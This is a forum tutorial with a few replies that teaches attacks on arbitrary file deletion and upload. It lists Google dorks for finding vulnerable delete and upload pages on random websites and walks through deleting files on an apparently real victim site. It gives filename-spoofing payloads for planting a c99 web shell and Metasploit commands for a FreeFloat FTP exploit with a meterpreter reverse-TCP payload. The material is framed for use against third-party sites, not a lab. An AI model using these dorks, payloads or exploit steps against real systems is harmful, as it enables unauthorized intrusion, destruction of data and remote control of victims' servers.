Arbitrary File Handling and Exploitation[Tutorial]

Keeper
12 years ago

0

[font=Gothic] ![Image](http://i.imgur.com/kYPY1.jpg) [font=Gothic]##**Introduction** Let's start off with the definition. An arbitrary file is any file on a specific server or system. Basically, the arbitrary file is a file that allows you to modify everything on a system. For example, if you got access to a particular website part of a shared server and you manage to root it, the files from the "box" are arbitrary - those on the site itself are not. Now, we can have only a limited number of actions handling arbitrary files. Those are the three following: [*] **Arbitrary File Deletion** [*] **Arbitrary File Overwriting** [*] **Arbitrary File Uploading** [/font] ##**Arbitrary File Deletion** Such method is most usually implemented on websites that lack directory access permissions or do not have any at all. In that case, the hacker can easily directly access the page for file deletion. It is most usually used for random websites, since exploring a targeted website could take quite a lot of time in order to find the path (if, of course, you don't already have the server-side files). I've posted some dorks for arbitrary file deletion below: ```inurl:"delete.php?file=" ext:php inurl:"delete?filename=" ext:php inurl:"delete.aspx?file=" ext:php inurl:"action=delete?file=" ext:php``` Let's say, we've found a website ![Image](http://i.imgur.com/F3jvQ.png) We can see in the URL the directory of **../delete.php?file=** In our case the target for deletion is a person's information board. It is just encoded in Base64 for some reason and resolves to the following string: ```/www/egypt3/data/peop/Selvia,+John+and+Lisa/phone1``` We may use this parameter to delete any file on the server that is hosted on this particular website as long as we are aware of the full path or manage to exploit a directory disclosure vulnerability. ##**Arbitrary File Upload** Get about some dork and find an uploading script. ``` inurl:"upload.php?file=" ext:php inurl:"upload?filename=" ext:php inurl:"upload.aspx?file=" ext:php inurl:"action=upload?file=" ext:php ``` This is how my target looks like. A simple upload page (possibly without any filtration upon user input). ![Image](http://i.imgur.com/6Ev7N.jpg) Try and upload your shell directly. If not successful, spoof the extension to one of these using the null byte: ``` shell.php;.jpg shell.php..jpg shell.php.jpg; shell.php.jpg:; shell.php.jpg%; shell.php.jpg%00 shell.php%00.jpg shell.php.jpg;%00 shell.php.jpg%00:; ``` and upon uploading, tamper the POST request with Tamper Data (this has been covered on a lot of tutorials, and you could really easily search for it rather than me explaining it over and over again) so as to change the extension back to what it really is (.php). ![Image](http://i.imgur.com/tg9Fi.jpg) Whoops, we've got our c99 uploaded on their server. If that method of uploading did not work for you, try using a binder and spoof the extension properly. ##**FreeFloat FTP** I decided to put up a basic example of a windows exploitation through Metasploit using a public exploit. We gonna use FreeFloat FTP exploit to upload an Arbitrary File on a server. The exploit usage is the following: This module abuses multiple issues in FreeFloat: 1. No credential is actually needed to login; 2. User's default path is in C:\, and this cannot be changed; 3. User can write to anywhere on the server's file system. As a result of these poor implementations, a malicious user can just log in and then upload files, and let WMI (Management Instrumentation service) to execute the payload uploaded. ``` $ msfconsole msf > use exploit/windows/ftp/freefloatftp_wbem msf exploit(freefloatftp_wbem) > show payloads msf exploit(freefloatftp_wbem) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(freefloatftp_wbem) > set LHOST [MY IP ADDRESS] msf exploit(freefloatftp_wbem) > set RHOST [TARGET IP] msf exploit(freefloatftp_wbem) > exploit ``` Set/Define the payload ![Image](http://i.imgur.com/YX5xj.jpg) Define the localhost [LHOST]. You can view your IP address with **ifconfig** under your network interface (most usually eth1), next to **inet addr**. ![Image](http://i.imgur.com/bmY3E.jpg) Define the Remote Host [RHOST]. Just the IP address of the windows victim machine. ![Image](http://i.imgur.com/rYmh2.jpg) Now type ```exploit``` (how ironic) and the payload should be delivered successfully. That's all about Arbitrary Files I managed to think of. Leave a comment and hope you learnt something! :pirate: [/font]
3replies
3voices
3,165views
Reply has been removed
Keeper
12 years ago

0

hey ,

nice tut keeper my info now just increased more and Good job we are looking forward for more from you

I wish someone else posts some tutorial as well.. I cannot supply the whole tutorials section. Either ways I’ve got 19 tutorials out of 21..

Reply has been removed
[HUNON]
12 years ago

0

I might cover some Command prompt tutorials for beginners …

Reply has been removed
Keeper
12 years ago

0

@roun512, English is not your native language, right? I barely understand you (no fence).

Reply has been removed
You must be logged in to reply to this discussion. Login
1 of 4

This site only uses cookies that are essential for the functionality of this website. Cookies are not used for tracking or marketing purposes.

By using our site, you acknowledge that you have read and understand our Privacy Policy, and Terms of Service.

Dismiss